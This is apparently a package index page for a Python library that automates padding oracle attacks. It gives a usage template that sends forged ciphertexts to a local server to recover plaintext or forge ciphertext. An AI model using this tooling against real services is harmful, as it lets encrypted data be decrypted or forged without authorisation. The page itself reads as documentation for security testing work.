a library for padding oracle attack
Project description
A library for padding oracle attack concurrently
Payload_model is a abstract class handling all details of padding oracle attack algorithm. You should specify a subclass of payload_model and change some import methods. You can customize it to fit different environment.
Usage
Get clear text from cipher text
from padding_oracle_attack import payload_model
import grequests
from grequests import request
class payload(payload_model):
def padding_ok(self, resp:Response) -> bool:
if resp.status_code == 200:
return True
else:
return False
def recover_fake_data(self, req:Request, fake_datas):
for fake_data in fake_datas:
if bytes.hex(fake_data) in req.url:
return fake_data
return None
def make_request(self, fake_data) -> request:
params = {
"data": bytes.hex(fake_data)
}
return request("get", "http://127.0.0.1:5000", params=params)
if __name__ == "__main__":
m = payload("3a10f84900818b1c439430600524fb0f00000000000000000000000000000000")
m.run()
Fake cipher text via clear text
...
# some code same as the former
...
if __name__ == "__main__":
m = payload("3a10f84900818b", fake=True)
m.run()
Result
Save and Load session
When breaking down the execution(CTRL-C), it will save session to file 'padding-session.txt' automaticly.You can load session like below.
payload = Payload(bytes.hex(exp), fake=True)
payload.load()
payload.run()
Installation
pip install padding-oracle-attack
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Close
Hashes for padding-oracle-attack-0.1.0.tar.gz
Algorithm | Hash digest | |
---|---|---|
SHA256 | b0c83d9b64840b5b158ef7999bb093a18f6a1cb48ed66574c6d5702c68741f66 |
|
MD5 | efb3bab90c05cc77a2fc517393011bd2 |
|
BLAKE2b-256 | da070adc02c5741f04c6f9e2de5fac448dd29bcabbe038daee4865b5123c83f9 |
Close
Hashes for padding_oracle_attack-0.1.0-py3-none-any.whl
Algorithm | Hash digest | |
---|---|---|
SHA256 | 6175355365a36ced56ea8ae70546b2e1fa944c7b33b2a5511a13ab2e184ca20c |
|
MD5 | 9501ccc93a1d49541bb916a9d29595d0 |
|
BLAKE2b-256 | 108824541217b92beabf186a8d2f9c4109991ca0925d5eca5a3d308bc414720c |